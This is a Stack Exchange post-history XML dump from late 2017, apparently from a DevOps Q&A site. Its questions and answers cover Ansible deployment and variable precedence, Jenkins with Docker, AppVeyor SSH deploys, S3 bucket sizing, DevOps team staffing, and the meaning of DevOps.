  <row Id="8969" PostHistoryTypeId="24" PostId="2856" RevisionGUID="8acb7070-1939-4024-8183-a23b33c6d198" CreationDate="2017-12-12T13:04:44.943" Comment="Proposed by 210 approved by 47, 13 edit id of 562" ContentLicense="CC BY-SA 3.0" />
  <row Id="8973" PostHistoryTypeId="10" PostId="2841" RevisionGUID="c334ae5f-be48-4b78-a881-03dfc01a23d2" CreationDate="2017-12-12T13:06:33.413" UserId="13" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="8974" PostHistoryTypeId="10" PostId="2842" RevisionGUID="ba9655f3-fc1e-4f82-9c4d-16302bfa9dbe" CreationDate="2017-12-12T13:08:10.060" UserId="13" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="8976" PostHistoryTypeId="10" PostId="2839" RevisionGUID="8e7ca51b-e9ce-453b-9169-1aa8b32f1cee" CreationDate="2017-12-12T13:08:25.623" UserId="13" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="8977" PostHistoryTypeId="50" PostId="2518" RevisionGUID="2d58fa24-8f17-48c3-b36f-c6dcbb9cb32d" CreationDate="2017-12-12T14:55:37.607" UserId="-1" />
  <row Id="8978" PostHistoryTypeId="50" PostId="2517" RevisionGUID="a233ba49-62d8-4328-83b3-5ae66a86d726" CreationDate="2017-12-12T15:55:37.517" UserId="-1" />
  <row Id="8979" PostHistoryTypeId="2" PostId="2879" RevisionGUID="68416b36-506c-4921-b872-82780b4aaac7" CreationDate="2017-12-12T16:57:45.637" UserId="5363" Text="At the bottom line I found this method as stable and reliable, in case you want to deploy via ansible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ### This play deploys a webapp war to an tomcat server&#xD;&#xA;    &#xD;&#xA;    - name: Copy the war file {{ webapp_name }}.war as {{ webapp_name }}.war.tmp to {{ webapp_destination_folder }}&#xD;&#xA;      win_copy:&#xD;&#xA;        src: files/{{ webapp_name }}.war&#xD;&#xA;        dest: &quot;{{ webapp_destination_folder }}\\{{ webapp_name }}.war.tmp&quot;&#xD;&#xA;        force: yes &#xD;&#xA;    &#xD;&#xA;    - name: Remove current war file {{ webapp_destination_folder }}\{{ webapp_name }}.war&#xD;&#xA;      win_file:&#xD;&#xA;        path: &quot;{{ webapp_destination_folder }}\\{{ webapp_name }}.war&quot;&#xD;&#xA;        state: absent&#xD;&#xA;    &#xD;&#xA;    - name: Wait until the webapp folder {{ webapp_destination_folder }}\{{ webapp_name }} is deleted&#xD;&#xA;      win_wait_for:&#xD;&#xA;        path: &quot;{{ webapp_destination_folder }}\\{{ webapp_name }}xxx&quot;&#xD;&#xA;        state: absent&#xD;&#xA;      register: folder_info&#xD;&#xA;    &#xD;&#xA;    - name: rename the {{ webapp_name }}.war.tmp to {{ webapp_name }}.war&#xD;&#xA;      win_command: &quot;cmd.exe /c rename {{ webapp_destination_folder }}\\{{ webapp_name }}.war.tmp {{ webapp_name }}.war&quot;&#xD;&#xA;      register: cmd_result " ContentLicense="CC BY-SA 3.0" />
  <row Id="8980" PostHistoryTypeId="5" PostId="2874" RevisionGUID="f9cc4174-2167-4a79-95d6-b0fa26fe89d6" CreationDate="2017-12-12T17:03:12.083" UserId="47" Comment="Improved readability" Text="I have installed Jenkins and docker on the same machine Ubuntu.&#xD;&#xA;&#xD;&#xA; - Ubuntu 17.10 &#xD;&#xA; - Jenkins ver. 2.73.3&#xD;&#xA; - Docker version 17.09.0-ce.&#xD;&#xA;&#xD;&#xA;I am trying to set up jenkins docker containers as slaves for running my automation test suite. &#xD;&#xA;&#xD;&#xA;I was able to correctly setup the docker plugin in Jenkins for spinning up docker containers and added a docker template with a image that I created for setting up docker environment.&#xD;&#xA;&#xD;&#xA;The image has been built on docker hosted in Ubuntu. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Problem is now when I run a job from Jenkins. It gives an error message:&#xD;&#xA;&#xD;&#xA;&gt; (pending—Jenkins doesn’t have label docker-slave)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  ![Jenkins pending image][1]&#xD;&#xA;&#xD;&#xA;When I check the Jenkins logs in Ubuntu machine I see the following error message:&#xD;&#xA;&#xD;&#xA;    &gt; com.github.dockerjava.api.exception.NotFoundException: {&quot;message&quot;:&quot;pull access &#xD;&#xA;    denied, &quot;message&quot;:may require 'docker login'&quot;}&#xD;&#xA;&#xD;&#xA;In the ubuntu machine, I have already given done docker login. &#xD;&#xA;&#xD;&#xA;The image that I am trying to build containers from is locally on ubuntu, not pushed to any repository, so why is trying to pull the image?&#xD;&#xA;&#xD;&#xA;Also, what is the permission issue that I need to resolve? When build a job from jenkins, it's the jenkins user building the container. Do I need to add something else there?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/CyqjQ.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8981" PostHistoryTypeId="2" PostId="2880" RevisionGUID="a76a4886-e556-4d1b-b6c6-f49cbcca207a" CreationDate="2017-12-12T19:47:29.613" UserId="5363" Text="there is a quite simple setup I am sure many of us came across this: &#xD;&#xA;1. you have lean, slim and dedicate Roles&#xD;&#xA;2. every role has its own role vars&#xD;&#xA;3. playbooks include the roles&#xD;&#xA;&#xD;&#xA;Up to this point nothing spezial &#xD;&#xA;&#xD;&#xA;Now: lest assume you have an base path for an application, most likely you will need this path in many roles. &#xD;&#xA;To keep the roles independent you would define this base path in every role vars where needed&#xD;&#xA;Hm, now you include some roles in a playbook and in case of a change on e.g. the base path you need to change that in every role&#xD;&#xA;&#xD;&#xA;One help would be to use extra vars to overrule the role vars But what if there are many potential candidates for a change??&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So I would like to be able to include vars in a playbook to overrule the variables in the roles. But this is not possible&#xD;&#xA;a) include_vars is not allowed in playbooks&#xD;&#xA;b) var_files (what would work in playbooks) will be over written by role vars&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Good question: how do you do solve this situation??  May be I want something odd and there is a much simpler way?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8982" PostHistoryTypeId="1" PostId="2880" RevisionGUID="a76a4886-e556-4d1b-b6c6-f49cbcca207a" CreationDate="2017-12-12T19:47:29.613" UserId="5363" Text="Why to overrule role vars?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8983" PostHistoryTypeId="3" PostId="2880" RevisionGUID="a76a4886-e556-4d1b-b6c6-f49cbcca207a" CreationDate="2017-12-12T19:47:29.613" UserId="5363" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8984" PostHistoryTypeId="2" PostId="2881" RevisionGUID="14a1441f-3fd4-41e7-a553-666951e7174f" CreationDate="2017-12-12T20:10:35.893" UserId="5363" Text="I missed one point which provides the answer: role defaults are the lowest in precedence. So just these vars and file_vars can overwrite in the playbook." ContentLicense="CC BY-SA 3.0" />
  <row Id="8988" PostHistoryTypeId="2" PostId="2883" RevisionGUID="72346cba-6fa5-43a5-a2da-44c3282879c9" CreationDate="2017-12-13T02:01:29.757" UserId="60" Text="What are the typical signs and signals of a DevOps team being understaffed? How would you justify/explain a request for a new addition to a team?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;I would love to keep the question generic, but here is some additional information:&#xD;&#xA;&#xD;&#xA;We currently have 2 DevOps specialists working together as a team, but the demands and the amount and complexity of products are growing. We are thinking to request a new addition to the team, but having some difficulties explaining and proving why would it be a good idea. " ContentLicense="CC BY-SA 3.0" />
  <row Id="8989" PostHistoryTypeId="1" PostId="2883" RevisionGUID="72346cba-6fa5-43a5-a2da-44c3282879c9" CreationDate="2017-12-13T02:01:29.757" UserId="60" Text="What are the signs of the understaffed DevOps team?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8990" PostHistoryTypeId="3" PostId="2883" RevisionGUID="72346cba-6fa5-43a5-a2da-44c3282879c9" CreationDate="2017-12-13T02:01:29.757" UserId="60" Text="&lt;project-management&gt;&lt;team-role&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8991" PostHistoryTypeId="2" PostId="2884" RevisionGUID="2be56c3a-4dd8-487f-98bb-86b618f4f09c" CreationDate="2017-12-13T04:51:27.790" UserId="3509" Text="Variables have different priorities, see [vars precedence][1].&#xD;&#xA;&#xD;&#xA;As of Ansible 2.x:&#xD;&#xA;&#xD;&#xA;&gt;role defaults  &#xD;&#xA;inventory file or script group vars  &#xD;&#xA;inventory group_vars/all  &#xD;&#xA;playbook group_vars/all  &#xD;&#xA;inventory group_vars/*  &#xD;&#xA;playbook group_vars/*  &#xD;&#xA;inventory file or script host vars  &#xD;&#xA;inventory host_vars/*  &#xD;&#xA;playbook host_vars/*  &#xD;&#xA;host facts  &#xD;&#xA;play vars  &#xD;&#xA;play vars_prompt  &#xD;&#xA;play vars_files  &#xD;&#xA;role vars (defined in role/vars/main.yml)  &#xD;&#xA;block vars (only for tasks in block)  &#xD;&#xA;task vars (only for the task)  &#xD;&#xA;role (and include_role) params  &#xD;&#xA;include params  &#xD;&#xA;include_vars  &#xD;&#xA;set_facts / registered vars  &#xD;&#xA;extra vars (always win precedence)  &#xD;&#xA;&#xD;&#xA;For roles you would generally use `myrole/defaults/main.yml` for easily overridable vars (e.g. installation path or smth) and use `myrole/vars/main.yml` for vars that you don't want to be easily overridden (smth like required packages).&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/latest/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable" ContentLicense="CC BY-SA 3.0" />
  <row Id="8992" PostHistoryTypeId="2" PostId="2885" RevisionGUID="7f9bc2ab-61e7-4066-be13-f6eadb99a495" CreationDate="2017-12-13T06:39:19.993" UserId="4175" Text="I assume this team of two is going from project to project and establishing DevOps stuff there (creating CI/CD pipelines, supporting the other devs creating Dockerfiles, or whatever technology you are using). In other words, type 3, 4, 5 or 6 as per http://web.devopstopologies.com/ .&#xD;&#xA;&#xD;&#xA;In this case, a sign of shortage is simply too much workload for those two; too many projects requesting their services; too many tickets; overtime; stress, burnout. These factors should be reasons enough for a responsible leadership to add more capacity. I don't see a DevOps specific sign in this, it's just a function that is understaffed.&#xD;&#xA;&#xD;&#xA;Another sign to change something is if you take a good hard look and if you notice that you are creating a &quot;DevOps silo&quot;, in which all DevOps know-how is concentrated in those two guys/gals, and everybody else just leans back because those two are &quot;doing DevOps&quot;. That is not the point of DevOps. If this is the case, think about the cultural aspect, and modify them to be more evangelists/teachers/coaches for the other teams.&#xD;&#xA;&#xD;&#xA;In both cases, the deeper reason of why having DevOps in the first place is a good thing (the general Good Stuff) should be clear to the upper management. If you cannot bring that message across, then scale down the work which your team is doing, by shifting it onto the regular Devs/Ops (as should be the case, anyways)." ContentLicense="CC BY-SA 3.0" />
  <row Id="8995" PostHistoryTypeId="2" PostId="2888" RevisionGUID="de5b6c1b-02b7-4c2b-a656-894670cca447" CreationDate="2017-12-13T07:48:34.737" UserId="887" Text="**Background:**&#xD;&#xA;Besides for providing support to our current infrastructure and to our Developers, we do monthly planning as a DevOps team for what we want to accomplish on top of helping dev teams within sprints and new projects that are launched. However, during the month we often notice extra things that need to be done and improved, which we then add to our backlog. We also are responsible and assist with various other things that fall beyond our scope, but we assist the business were we can :)&#xD;&#xA;&#xD;&#xA;**Answer**: &#xD;&#xA;As soon as you notice you are not getting round to or postponing lots of tasks especially maintenance, I think that is a good indicator(from what I have experienced). Also, the more new projects and dev teams that come in the thinner the DevOps team gets spread, the more people you will need.&#xD;&#xA;&#xD;&#xA;Its super easy just to get caught up in the day to day completing tasks, but I believe its super important (even once a month) to take a step back and assess this." ContentLicense="CC BY-SA 3.0" />
  <row Id="8996" PostHistoryTypeId="2" PostId="2889" RevisionGUID="7ea0cf07-f03b-4328-8501-dbc2f5e4fe45" CreationDate="2017-12-13T08:12:38.930" UserId="5675" Text="So it actually only took one line of code:&#xD;&#xA;&#xD;&#xA;1) First take the SSH public key from the settings page inside the appveyor project and make sure you put it into the authorized_keys inside user_that_you_are_going_to_login_with_from_appveyor/.ssh/authorized_keys&#xD;&#xA;&#xD;&#xA;2) To clear the folder before deploying to it on a Ubuntu server&#xD;&#xA;&#xD;&#xA;    before_deploy:    &#xD;&#xA;      ssh user@host -t &quot;rm -r -v /pathtofolder/*;exit; bash --login&quot;&#xD;&#xA;&#xD;&#xA;3) Now about the restart of the app I wanted to use after_deploy however there is a problem with that. After deploy fires straight after deploy and doesn't wait untill upload is finished. I wanted to use it to run &#xD;&#xA;    &#xD;&#xA;    systemctl restart myapp&#xD;&#xA;&#xD;&#xA;However the problem seemed to solved itself because systemctl restarted my app at the moment when it was substituted with a new one or maybe at the moment when I call it the first time after the files have been reloaded. So far it seems I have a new app running after I run the script.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8997" PostHistoryTypeId="5" PostId="2880" RevisionGUID="ad02d5c1-2730-4b0f-9a07-cdf8e806d508" CreationDate="2017-12-13T10:38:11.083" UserId="4289" Comment="Improved formatting and grammar." Text="There is quite a simple setup I am sure many of us have come across: &#xD;&#xA;&#xD;&#xA; 1. You have lean, slim and dedicate roles&#xD;&#xA; 2. Every role has its own role vars&#xD;&#xA; 3. Playbooks include the roles&#xD;&#xA;&#xD;&#xA;Let's assume you have a base path for an application, most likely you will need this path in many roles. To keep the roles independent you would define this base path in every role vars where needed.&#xD;&#xA;&#xD;&#xA;Now you include some roles in a Playbook and in case of a change on e.g. the base path you need to change that in every role.&#xD;&#xA;&#xD;&#xA;One help would be to use extra vars to overrule the role vars, but what if there are many potential candidates for a change?&#xD;&#xA;&#xD;&#xA;So I would like to be able to `include_vars` in a playbook to overrule the variables in the roles. But this is not possible as:&#xD;&#xA;&#xD;&#xA; 1. `include_vars` is not allowed in Playbooks&#xD;&#xA; 2. `var_files` (what would work in Playbooks) will be over written by role vars&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**Question:** how do you do solve this situation?  Maybe I want something odd and there is a much simpler way?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8998" PostHistoryTypeId="24" PostId="2880" RevisionGUID="ad02d5c1-2730-4b0f-9a07-cdf8e806d508" CreationDate="2017-12-13T10:38:11.083" Comment="Proposed by 4289 approved by 13 edit id of 569" ContentLicense="CC BY-SA 3.0" />
  <row Id="8999" PostHistoryTypeId="2" PostId="2890" RevisionGUID="7bced119-6708-42e8-84b1-54ac767ba246" CreationDate="2017-12-13T15:17:26.040" UserId="445" Text="I actually take a page from the SRE Handbook on this one, which I think is very relevant. DevOps specialties are not meant to grow horizontally with an organization. Rather, if you see that things aren't getting done then it's a signal you're not properly empowering developers to self-service.&#xD;&#xA;&#xD;&#xA;Evaluate your processes and see how they align to the commonly accepted DevOps Principles and how well you're following industry best-practices." ContentLicense="CC BY-SA 3.0" />
  <row Id="9000" PostHistoryTypeId="2" PostId="2891" RevisionGUID="4b80d1c1-3673-475c-ba5a-e00a16e4a52a" CreationDate="2017-12-13T16:12:30.387" UserId="5674" Text="I'm trying to build an application infrastructure on amazon aws following microservice pattern. &#xD;&#xA;&#xD;&#xA;However configuration API gateway and service discovery tool together completely puzzles me.&#xD;&#xA;&#xD;&#xA;According to [pattern][1] I need both (and I understand that).&#xD;&#xA;I decided to go with [Amazon API gateway][2] as API gateway and [Hashicorp Consul][3] as service discovery.&#xD;&#xA;&#xD;&#xA;From what I see in configuration guide on amazon, API gateway configuration is pretty much straightforward: I specify path and URL to follow and that's it.&#xD;&#xA;&#xD;&#xA;How in the world do I explain API gateway to get information from Consul?&#xD;&#xA;&#xD;&#xA;PS. There is a [Consul quickstart][4] guide, but it is just a deployment instruction. There is nothing about connecting it to API gateway.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://microservices.io/patterns/apigateway.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/apigateway/latest/developerguide/welcome.html&#xD;&#xA;  [3]: https://www.consul.io/&#xD;&#xA;  [4]: https://aws.amazon.com/quickstart/architecture/consul/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9001" PostHistoryTypeId="1" PostId="2891" RevisionGUID="4b80d1c1-3673-475c-ba5a-e00a16e4a52a" CreationDate="2017-12-13T16:12:30.387" UserId="5674" Text="api gateway and service discovery on amazon aws" ContentLicense="CC BY-SA 3.0" />
  <row Id="9002" PostHistoryTypeId="3" PostId="2891" RevisionGUID="4b80d1c1-3673-475c-ba5a-e00a16e4a52a" CreationDate="2017-12-13T16:12:30.387" UserId="5674" Text="&lt;amazon-web-services&gt;&lt;microservices&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9003" PostHistoryTypeId="5" PostId="2241" RevisionGUID="a17e0fdf-0e97-48ee-8d02-45bb775de9d4" CreationDate="2017-12-13T17:47:52.347" UserId="887" Comment="added 2 characters in body" Text="I have multiple **AWS** accounts and I need to list all **S3** buckets per account and then view each buckets total size.&#xD;&#xA;&#xD;&#xA;Currently, I can only view the storage size of a single **S3** bucket with:&#xD;&#xA;&#xD;&#xA;    aws s3 ls s3://mybucket --recursive --human-readable --summarize&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9004" PostHistoryTypeId="5" PostId="2275" RevisionGUID="1fe610b9-2271-4b52-9fe1-0115b3c042fb" CreationDate="2017-12-13T17:49:40.957" UserId="887" Comment="added 72 characters in body" Text="I would like to know how everyone is making external backups of **S3** buckets and best practices/recommendations for this. Regardless of how good **AWS** is it is still a single point of failure.&#xD;&#xA;&#xD;&#xA;    Especially on a more corporate scale, vast amounts of buckets that are very large.&#xD;&#xA;&#xD;&#xA;The **S3** buckets functionality seems to be very limited.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My resolution was the following:&#xD;&#xA;&gt; The way I'm looking at doing this now is by downloading the data to an external server (**bare-metal** as **EC2** instance is a lot more expensive) and then pushing that to my backups provider.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9005" PostHistoryTypeId="2" PostId="2892" RevisionGUID="57a025a9-2142-4604-9132-d58bc522e2e2" CreationDate="2017-12-13T21:04:48.930" UserId="888" Text="Please bear with me as this might get a bit deep. I’ve been reading though some documentation of a error logging SaaS I’m using in an application I’m building.&#xA;&#xA;Quite a few times they gave me the impression that DevOps is sort of the responsibility of all Developers. E.g it’s something someone implements as part of a project, vs DevOps being a title/role in a business... I’d akin it to... Imagine, me as a developer having to write a micro-service because it’s required to be effective, vs another guy walking around calling himself  a “Micro service” doing only micro services.. sounds a bit strange right?&#xA;&#xA;I can see merits to both and if anything I know the lines are pretty blurry at the best of times in all dev fields anyway... my best guess is maybe a DevOp would be more specialized?&#xA;&#xA;**Question**&#xA;Based on the above...&#xA;&#xA;What is the expected role of a DevOps person then, vs say a Developer, if going by the school of thought that DevOps is the responsibility of all devs? &#xA;&#xA;... like what’s there left to do then for the latter?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9006" PostHistoryTypeId="1" PostId="2892" RevisionGUID="57a025a9-2142-4604-9132-d58bc522e2e2" CreationDate="2017-12-13T21:04:48.930" UserId="888" Text="What is DevOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9007" PostHistoryTypeId="3" PostId="2892" RevisionGUID="57a025a9-2142-4604-9132-d58bc522e2e2" CreationDate="2017-12-13T21:04:48.930" UserId="888" Text="&lt;terminology&gt;&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9008" PostHistoryTypeId="2" PostId="2893" RevisionGUID="35c82915-1198-4bce-8167-6d4d788684c6" CreationDate="2017-12-13T21:44:57.903" UserId="5255" Text="The role of DevOps is still being formed so the responsibilities can be different between organizations. Also, this was the developers responsibility not too long ago.&#xD;&#xA;&#xD;&#xA;**What is DevOps**&#xD;&#xA;&#xD;&#xA;I would say DevOps is encompasses managing source control, managing the build pipeline such as CI/CD and managing tests(unit tests, integration test...), managing the infrastructure including managing the cloud service being used(if any). With the tools that are being offered to teams, there is added complexity. The increase complexity required more time for a team to setup correctly. So what would happen was that one or two team members would gain experience in setting up all the necessary tools. These team members would need to spend more time with the operations side of development and these team members became the DevOps. &#xD;&#xA;&#xD;&#xA;All developers should have some knowledge in the operations side of development, but it has grown to the point that it its too much to ask all developers to have sufficient knowledge current operations and the development work they need to know (how all components are tied together, any frameworks that are needed...)" ContentLicense="CC BY-SA 3.0" />
  <row Id="9009" PostHistoryTypeId="2" PostId="2894" RevisionGUID="cc19c41e-396b-442b-81d0-1deed0932000" CreationDate="2017-12-13T21:54:17.030" UserId="887" Text="DevOps is known/meant to be more of a culture than a job title, but we also cannot ignore the fact that a vast amount companies all across the world have &quot;DevOps engineers&quot;.&#xD;&#xA;&#xD;&#xA;**What Wikipedia says**:&#xD;&#xA;&#xD;&#xA;&gt;  The main characteristic of the DevOps movement is to strongly advocate automation and monitoring at all steps of software construction, from integration, testing, releasing to deployment and infrastructure management. DevOps aims at shorter development cycles, increased deployment frequency, more dependable releases, in close alignment with business objectives.&#xD;&#xA;&#xD;&#xA;**Answer ***(my perspective)*: &#xD;&#xA;&#xD;&#xA;As a DevOps engineer myself(*opens a can of worms*), I realize that I am more of a support role to development teams.&#xD;&#xA;&#xD;&#xA; - Aiming to facilitate and create useful systems/tools that I as well as the&#xD;&#xA;   developers can easily manage and use. &#xD;&#xA;   &#xD;&#xA; - Automate any manual work being done and creating streamlined CICD&#xD;&#xA;   pipelines ensuring the developer's code gets tested and then deployed to production with ease.&#xD;&#xA; - Ops and Monitoring to notify us and the developers of any issues so they can be resolved ASAP.&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="9010" PostHistoryTypeId="5" PostId="2894" RevisionGUID="9f5f5a31-0a84-43c3-9ee9-cdce05fb27e3" CreationDate="2017-12-13T22:03:23.550" UserId="887" Comment="added 9 characters in body" Text="DevOps is known/meant to be more of a culture than a job title, but we also cannot ignore the fact that a vast amount companies all across the world have &quot;DevOps engineers&quot; employed.&#xD;&#xA;&#xD;&#xA;**What Wikipedia says**:&#xD;&#xA;&#xD;&#xA;&gt;  The main characteristic of the DevOps movement is to strongly advocate automation and monitoring at all steps of software construction, from integration, testing, releasing to deployment and infrastructure management. DevOps aims at shorter development cycles, increased deployment frequency, more dependable releases, in close alignment with business objectives.&#xD;&#xA;&#xD;&#xA;**Answer ***(my perspective)*: &#xD;&#xA;&#xD;&#xA;As a DevOps engineer myself(*opens a can of worms*), I realize that I am more of a support role to development teams.&#xD;&#xA;&#xD;&#xA; - Aiming to facilitate and create useful systems/tools that I as well as the&#xD;&#xA;   developers can easily manage and use. &#xD;&#xA;   &#xD;&#xA; - Automate any manual work being done and creating streamlined CICD&#xD;&#xA;   pipelines ensuring the developer's code gets tested and then deployed to production with ease.&#xD;&#xA; - Ops and Monitoring to notify us and the developers of any issues so they can be resolved ASAP.&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="9011" PostHistoryTypeId="5" PostId="2894" RevisionGUID="d3ed5e38-7d64-458a-8823-6fda053704fd" CreationDate="2017-12-13T22:13:19.740" UserId="887" Comment="added 26 characters in body; added 4 characters in body" Text="**DevOps these days...**&#xA;&#xA;DevOps is known/meant to be more of a **culture** than a job title, but we also cannot ignore the fact that a vast amount companies all across the world have &quot;DevOps engineers&quot; employed.&#xD;&#xA;&#xD;&#xA;**What Wikipedia says**:&#xD;&#xA;&#xD;&#xA;&gt;  The main characteristic of the DevOps movement is to strongly advocate automation and monitoring at all steps of software construction, from integration, testing, releasing to deployment and infrastructure management. DevOps aims at shorter development cycles, increased deployment frequency, more dependable releases, in close alignment with business objectives.&#xD;&#xA;&#xD;&#xA;**Answer ***(my perspective)*: &#xD;&#xA;&#xD;&#xA;As a DevOps engineer myself(*opens a can of worms*), I realize that I am more of a support role to development teams.&#xD;&#xA;&#xD;&#xA; - Aiming to facilitate and create useful systems/tools that I as well as the&#xD;&#xA;   developers can easily manage and use. &#xD;&#xA;   &#xD;&#xA; - Automate any manual work being done and creating streamlined CICD&#xD;&#xA;   pipelines ensuring the developer's code gets tested and then deployed to production with ease.&#xD;&#xA; - Ops and Monitoring to notify us and the developers of any issues so they can be resolved ASAP.&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="9012" PostHistoryTypeId="2" PostId="2895" RevisionGUID="e7f61de3-4f11-430e-8f82-bcf0f1bbf99f" CreationDate="2017-12-14T00:32:31.370" UserId="5725" Text="There are two strongly connected but still a bit controversial things in the industry that makes this kind of question being asked all the time since 2010.&#xD;&#xA;&#xD;&#xA;First one is a nature of DevOps methodology itself. It was born all around idea of better collaboration between different parties of software delivery process. This involves a lot of non-technical aspects, like shared responsibility, better communication, knowledge sharing. Another improvement that was aimed - was product delivery itself, starting from designing software and up to deployment and operating live systems. So it brought us technical improvements as well. There was nothing new, actually, as all those things you see in majority of “DevOps job openings” like CI/CD, configuration management, log management, monitoring, whatever – were existing for decades, before even term DevOps was used for the first time. &#xD;&#xA;So DevOps as methodology just put all this bits to one plate. &#xD;&#xA;&#xD;&#xA;And here comes the second thing: hype.&#xD;&#xA;Popularity of the methodology arisen - as it was intended to solve problems that majority of industry players had more or less. So some people started to see non-existent “silver bullet” here. Some magical potion, which simply could solve issues they have.&#xD;&#xA;So we got high demand here. And as a result – supply started to grow as well. And obviously businesses were looking for someone who could implement “DevOps” for them. How do you usually initially identify someone who could work with some tool/methodology/whatever? I bet - the answer is - by looking for appropriate badge in their CV:)&#xD;&#xA;&#xD;&#xA;People realized, that being badged as DevOps engineer, not simply being a sysadmin or developer – makes them more unique and valuable on the market by that time. That is how market works overall - you make offering and advertise what demanding person is looking for, so he prefers you as a supplier, not the other guy.&#xD;&#xA;&#xD;&#xA;And somewhere here we got that focus shifted from whole methodology to technical side of it. I have no exact answer, why this happened, probably because majority of market players missed the key point of DevOps ideas, and understood only those which could be measured easily.&#xD;&#xA;&#xD;&#xA;Do we have Jenkins running now? Tick!&#xD;&#xA;Do we use Chef/Puppet? Tick!&#xD;&#xA;&#xD;&#xA;It is way harder to make same kind of measurement for collaboration between team members, communication improvements, whatever. And higher management usually looking for kind of measurable results, rather then ephemeral ones.&#xD;&#xA;&#xD;&#xA;So you are absolutely right – DevOps should be done by everyone in a team, just because it is about team itself, not some person who makes changes, and everyone and everything else remain old-fashioned.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9013" PostHistoryTypeId="2" PostId="2896" RevisionGUID="bb870036-cbf0-4973-8053-2a9d2afed273" CreationDate="2017-12-14T01:23:32.597" UserId="5726" Text="Sounds like the docker image you are using doesn't have the correct name, or is stored in a private repository which requires login.&#xD;&#xA;&#xD;&#xA;Please post more information" ContentLicense="CC BY-SA 3.0" />
  <row Id="9015" PostHistoryTypeId="5" PostId="2894" RevisionGUID="70e124af-b46d-4aac-85ed-ae31cfe2cc9d" CreationDate="2017-12-14T06:10:02.850" UserId="887" Comment="added 14 characters in body" Text="**DevOps these days...**&#xD;&#xA;&#xD;&#xA;&gt; DevOps is known/meant to be more of a **culture** than a job title,&#xD;&#xA;&gt; but we also cannot ignore the fact that a vast amount companies all&#xD;&#xA;&gt; across the world have &quot;DevOps engineers&quot; employed.&#xD;&#xA;&#xD;&#xA;**What Wikipedia says**:&#xD;&#xA;&#xD;&#xA;&gt;  &quot;The main characteristic of the DevOps movement is to strongly advocate automation and monitoring at all steps of software construction, from integration, testing, releasing to deployment and infrastructure management. DevOps aims at shorter development cycles, increased deployment frequency, more dependable releases, in close alignment with business objectives.&quot;&#xD;&#xA;&#xD;&#xA;**Answer ***(my perspective)*: &#xD;&#xA;&#xD;&#xA;As a DevOps engineer myself(*opens a can of worms*), I realize that I am more of a **support role** to development teams.&#xD;&#xA;&#xD;&#xA; - Aiming to facilitate and create useful systems/tools that I as well as the&#xD;&#xA;   developers can easily manage and use. &#xD;&#xA;   &#xD;&#xA; - Automate any manual work being done and creating streamlined CICD&#xD;&#xA;   pipelines ensuring the developer's code gets tested and then deployed to production with ease.&#xD;&#xA; - Ops and Monitoring to notify us and the developers of any issues so they can be resolved ASAP.&#xD;&#xA;&#xD;&#xA;Making all of the above responsibilities easy to &quot;share&quot; and deal with from all the technical and sometimes even non-technical teams or individuals of a company.&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
